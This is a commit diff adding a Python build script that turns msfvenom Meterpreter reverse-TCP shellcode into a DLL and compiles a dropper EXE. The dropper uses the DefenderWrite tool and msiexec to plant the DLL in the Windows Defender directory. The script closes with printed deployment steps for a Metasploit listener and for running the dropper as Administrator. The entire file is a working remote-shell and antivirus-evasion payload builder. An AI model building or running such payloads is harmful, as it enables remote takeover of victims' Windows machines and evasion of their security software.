|
| 1 | +#!/usr/bin/env python3 |
| 2 | +import os |
| 3 | +import sys |
| 4 | +import subprocess |
| 5 | +import argparse |
| 6 | +import re |
| 7 | + |
| 8 | +def extract_shellcode_from_c_format(c_output): |
| 9 | + """Extract ALL shellcode bytes from msfvenom C format output""" |
| 10 | + # Extract all hex bytes from the \x format |
| 11 | + hex_matches = re.findall(r'\\x([0-9a-fA-F]{2})', c_output) |
| 12 | + |
| 13 | + if hex_matches: |
| 14 | + print(f"[+] Found {len(hex_matches)} shellcode bytes") |
| 15 | + return [f"0x{byte.upper()}" for byte in hex_matches] |
| 16 | + |
| 17 | + return None |
| 18 | + |
| 19 | +def generate_shellcode(lhost, lport): |
| 20 | + """Generate shellcode using msfvenom and extract properly""" |
| 21 | + print("[+] Generating shellcode with msfvenom...") |
| 22 | + |
| 23 | + try: |
| 24 | + # Use C format which gives us the shellcode in hex format |
| 25 | + result = subprocess.run([ |
| 26 | + "msfvenom", |
| 27 | + "-p", "windows/x64/meterpreter_reverse_tcp", |
| 28 | + f"LHOST={lhost}", |
| 29 | + f"LPORT={lport}", |
| 30 | + "-f", "c", |
| 31 | + "-b", "\\x00\\x0a\\x0d" # Avoid bad characters |
| 32 | + ], capture_output=True, text=True, check=True) |
| 33 | + |
| 34 | + output = result.stdout |
| 35 | + print(f"[*] msfvenom output length: {len(output)} characters") |
| 36 | + |
| 37 | + # Extract the shellcode bytes |
| 38 | + shellcode_bytes = extract_shellcode_from_c_format(output) |
| 39 | + |
| 40 | + if not shellcode_bytes: |
| 41 | + print("[-] Failed to extract shellcode bytes from msfvenom output") |
| 42 | + return None |
| 43 | + |
| 44 | + print(f"[+] Successfully extracted {len(shellcode_bytes)} bytes of shellcode") |
| 45 | + |
| 46 | + # Validate shellcode size (meterpreter should be 400-800 bytes typically) |
| 47 | + if len(shellcode_bytes) < 300: |
| 48 | + print(f"[-] Shellcode too small ({len(shellcode_bytes)} bytes), something wrong") |
| 49 | + return None |
| 50 | + |
| 51 | + return shellcode_bytes |
| 52 | + |
| 53 | + except subprocess.CalledProcessError as e: |
| 54 | + print(f"[-] msfvenom failed: {e.stderr}") |
| 55 | + print(f"[*] Trying alternative method...") |
| 56 | + return generate_shellcode_alternative(lhost, lport) |
| 57 | + |
| 58 | +def generate_shellcode_alternative(lhost, lport): |
| 59 | + """Alternative method to generate shellcode""" |
| 60 | + try: |
| 61 | + # Try without bad characters |
| 62 | + result = subprocess.run([ |
| 63 | + "msfvenom", |
| 64 | + "-p", "windows/x64/meterpreter_reverse_tcp", |
| 65 | + f"LHOST={lhost}", |
| 66 | + f"LPORT={lport}", |
| 67 | + "-f", "c" |
| 68 | + ], capture_output=True, text=True, check=True) |
| 69 | + |
| 70 | + output = result.stdout |
| 71 | + shellcode_bytes = extract_shellcode_from_c_format(output) |
| 72 | + |
| 73 | + if shellcode_bytes and len(shellcode_bytes) > 300: |
| 74 | + return shellcode_bytes |
| 75 | + |
| 76 | + except: |
| 77 | + pass |
| 78 | + |
| 79 | + return None |
| 80 | + |
| 81 | +def check_dependencies(): |
| 82 | + """Check if all required tools are available""" |
| 83 | + required_tools = ["msfvenom", "x86_64-w64-mingw32-g++"] |
| 84 | + missing_tools = [] |
| 85 | + |
| 86 | + for tool in required_tools: |
| 87 | + try: |
| 88 | + subprocess.run([tool, "--version"], capture_output=True, check=False) |
| 89 | + except: |
| 90 | + missing_tools.append(tool) |
| 91 | + |
| 92 | + if missing_tools: |
| 93 | + print(f"[-] Missing required tools: {', '.join(missing_tools)}") |
| 94 | + print("[+] Install with: sudo apt install metasploit-framework mingw-w64") |
| 95 | + return False |
| 96 | + return True |
| 97 | + |
| 98 | +def main(): |
| 99 | + parser = argparse.ArgumentParser(description="Build DefenderWrite payload with Metasploit shellcode") |
| 100 | + parser.add_argument("LHOST", help="Listener IP") |
| 101 | + parser.add_argument("LPORT", type=int, help="Listener Port") |
| 102 | + parser.add_argument("-o", "--output", default="payload.exe", help="Output EXE name") |
| 103 | + args = parser.parse_args() |
| 104 | + |
| 105 | + print(f"[+] Building payload for {args.LHOST}:{args.LPORT}") |
| 106 | + |
| 107 | + # Check dependencies first |
| 108 | + if not check_dependencies(): |
| 109 | + sys.exit(1) |
| 110 | + |
| 111 | + # Generate shellcode |
| 112 | + shellcode_bytes = generate_shellcode(args.LHOST, args.LPORT) |
| 113 | + |
| 114 | + if not shellcode_bytes: |
| 115 | + print("[-] Failed to generate valid shellcode. Exiting.") |
| 116 | + sys.exit(1) |
| 117 | + |
| 118 | + # Format the shellcode for the C array (proper formatting) |
| 119 | + formatted_shellcode = "" |
| 120 | + for i in range(0, len(shellcode_bytes), 16): |
| 121 | + formatted_shellcode += " " + ", ".join(shellcode_bytes[i:i+16]) + ",\n" |
| 122 | + formatted_shellcode = formatted_shellcode.rstrip(",\n") # Remove trailing comma |
| 123 | + |
| 124 | + print(f"[+] Shellcode formatted into C array ({len(shellcode_bytes)} bytes)") |
| 125 | + |
| 126 | + # Create DLL source |
| 127 | + dll_name = os.path.splitext(args.output)[0] + ".dll" |
| 128 | + dll_src = f"""#include <windows.h> |
| 129 | +#include <string.h> |
| 130 | +
|
| 131 | +unsigned char shellcode[] = {{ |
| 132 | +{formatted_shellcode} |
| 133 | +}}; |
| 134 | +
|
| 135 | +extern "C" __declspec(dllexport) void RunMe(LPCWSTR dummy) {{ |
| 136 | + void* exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); |
| 137 | + if (exec) {{ |
| 138 | + memcpy(exec, shellcode, sizeof(shellcode)); |
| 139 | + ((void(*)())exec)(); |
| 140 | + }} |
| 141 | +}} |
| 142 | +
|
| 143 | +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {{ |
| 144 | + if (fdwReason == DLL_PROCESS_ATTACH) {{ |
| 145 | + CreateThread(0, 0, (LPTHREAD_START_ROUTINE)RunMe, 0, 0, 0); |
| 146 | + }} |
| 147 | + return TRUE; |
| 148 | +}} |
| 149 | +""" |
| 150 | + with open("payload_dll.cpp", "w") as f: |
| 151 | + f.write(dll_src) |
| 152 | + |
| 153 | + # Compile DLL with static linking |
| 154 | + print(f"[+] Compiling {dll_name}...") |
| 155 | + try: |
| 156 | + result = subprocess.run([ |
| 157 | + "x86_64-w64-mingw32-g++", |
| 158 | + "-shared", "-s", "-O2", |
| 159 | + "-static", "-static-libgcc", "-static-libstdc++", |
| 160 | + "-o", dll_name, |
| 161 | + "payload_dll.cpp", |
| 162 | + "-lws2_32", "-lwininet" |
| 163 | + ], capture_output=True, text=True, check=True) |
| 164 | + print(f"[+] DLL compiled successfully") |
| 165 | + except subprocess.CalledProcessError as e: |
| 166 | + print(f"[-] Failed to compile DLL: {e}") |
| 167 | + if e.stderr: |
| 168 | + print(f"[*] Compiler error: {e.stderr}") |
| 169 | + sys.exit(1) |
| 170 | + |
| 171 | + # Check for DefenderWrite.exe |
| 172 | + if not os.path.exists("DefenderWrite.exe"): |
| 173 | + print("[!] WARNING: DefenderWrite.exe not found in current directory!") |
| 174 | + print("[!] Download it from: https://github.com/TwoSevenOneT/DefenderWrite") |
| 175 | + print("[!] And place it in the same directory as your payload files") |
| 176 | + |
| 177 | + # Create dropper EXE |
| 178 | + exe_src = f"""#include <windows.h> |
| 179 | +#include <shlwapi.h> |
| 180 | +#include <string> |
| 181 | +
|
| 182 | +int main() {{ |
| 183 | + // Extract resources to temp directory |
| 184 | + char tempPath[MAX_PATH]; |
| 185 | + GetTempPathA(MAX_PATH, tempPath); |
| 186 | + |
| 187 | + std::string defenderWritePath = std::string(tempPath) + "\\\\\\\\DefenderWrite.exe"; |
| 188 | + std::string dllPath = std::string(tempPath) + "\\\\\\\\{dll_name}"; |
| 189 | + |
| 190 | + // Get current executable path |
| 191 | + char currentExe[MAX_PATH]; |
| 192 | + GetModuleFileNameA(NULL, currentExe, MAX_PATH); |
| 193 | + std::string currentDir = currentExe; |
| 194 | + currentDir = currentDir.substr(0, currentDir.find_last_of("\\\\\\\\\\\\\\\\")); |
| 195 | + |
| 196 | + std::string sourceDefenderWrite = currentDir + "\\\\\\\\\\\\\\\\DefenderWrite.exe"; |
| 197 | + std::string sourceDll = currentDir + "\\\\\\\\\\\\\\\\{dll_name}"; |
| 198 | + |
| 199 | + // Copy required files to temp |
| 200 | + if (CopyFileA(sourceDefenderWrite.c_str(), defenderWritePath.c_str(), FALSE)) {{ |
| 201 | + OutputDebugStringA("Copied DefenderWrite.exe to temp"); |
| 202 | + }} |
| 203 | + |
| 204 | + if (CopyFileA(sourceDll.c_str(), dllPath.c_str(), FALSE)) {{ |
| 205 | + OutputDebugStringA("Copied DLL to temp"); |
| 206 | + }} |
| 207 | + |
| 208 | + // Build the command |
| 209 | + std::string targetPath = "C:\\\\\\\\\\\\\\\\Program Files\\\\\\\\\\\\\\\\Windows Defender\\\\\\\\\\\\\\\\update.exe"; |
| 210 | + std::string command = "\\"" + defenderWritePath + "\\" C:\\\\\\\\\\\\\\\\Windows\\\\\\\\\\\\\\\\System32\\\\\\\\\\\\\\\\msiexec.exe \\"" + dllPath + "\\" \\"" + targetPath + "\\" c"; |
| 211 | + |
| 212 | + // Execute |
| 213 | + STARTUPINFOA si = {{0}}; |
| 214 | + PROCESS_INFORMATION pi = {{0}}; |
| 215 | + si.cb = sizeof(si); |
| 216 | + |
| 217 | + if (CreateProcessA(NULL, (LPSTR)command.c_str(), NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {{ |
| 218 | + WaitForSingleObject(pi.hProcess, 5000); |
| 219 | + CloseHandle(pi.hProcess); |
| 220 | + CloseHandle(pi.hThread); |
| 221 | + }} |
| 222 | + |
| 223 | + return 0; |
| 224 | +}} |
| 225 | +""" |
| 226 | + exe_name = args.output |
| 227 | + with open("dropper.cpp", "w") as f: |
| 228 | + f.write(exe_src) |
| 229 | + |
| 230 | + # Compile EXE with static linking |
| 231 | + print(f"[+] Compiling {exe_name}...") |
| 232 | + try: |
| 233 | + subprocess.run([ |
| 234 | + "x86_64-w64-mingw32-g++", |
| 235 | + "-O2", "-s", "-mwindows", |
| 236 | + "-static", "-static-libgcc", "-static-libstdc++", |
| 237 | + "-o", exe_name, |
| 238 | + "dropper.cpp", |
| 239 | + "-lshlwapi" |
| 240 | + ], check=True) |
| 241 | + print(f"[+] EXE compiled successfully") |
| 242 | + except subprocess.CalledProcessError as e: |
| 243 | + print(f"[-] Failed to compile EXE: {e}") |
| 244 | + sys.exit(1) |
| 245 | + |
| 246 | + # Clean up temporary files |
| 247 | + for temp_file in ["payload_dll.cpp", "dropper.cpp"]: |
| 248 | + if os.path.exists(temp_file): |
| 249 | + os.remove(temp_file) |
| 250 | + |
| 251 | + print(f"\\n[+] BUILD SUCCESSFUL!\\n") |
| 252 | + print(f"[+] Files created:") |
| 253 | + print(f" - {exe_name} (Dropper)") |
| 254 | + print(f" - {dll_name} (Shellcode DLL - {len(shellcode_bytes)} bytes)") |
| 255 | + print(f"\\n[!] IMPORTANT: Download DefenderWrite.exe from GitHub\\n") |
| 256 | + print(f"\\n[+] DEPLOYMENT STEPS:\\n") |
| 257 | + print(f" 1. Download DefenderWrite.exe from: https://github.com/TwoSevenOneT/DefenderWrite") |
| 258 | + print(f" 2. On Windows VM, place these 3 files in SAME directory:") |
| 259 | + print(f" - {exe_name}") |
| 260 | + print(f" - {dll_name}") |
| 261 | + print(f" - DefenderWrite.exe") |
| 262 | + print(f" 3. Start listener: msfconsole -q -x 'use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter_reverse_tcp; set LHOST {args.LHOST}; set LPORT {args.LPORT}; exploit'") |
| 263 | + print(f" 4. Run {exe_name} as Administrator on Windows VM") |
| 264 | + print(f"\\n[+] Debugging tips:\\n") |
| 265 | + print(f" - Check Windows Event Viewer for errors") |
| 266 | + print(f" - Verify all 3 files are in the same directory") |
| 267 | + print(f" - Run as Administrator") |
| 268 | + print(f" - Check if Windows Defender is running") |
| 269 | + |
| 270 | +if __name__ == "__main__": |
| 271 | + if len(sys.argv) < 3: |
| 272 | + print("Usage: python3 build.py LHOST LPORT [-o payload.exe]") |
| 273 | + sys.exit(1) |
| 274 | + main() |
0 commit comments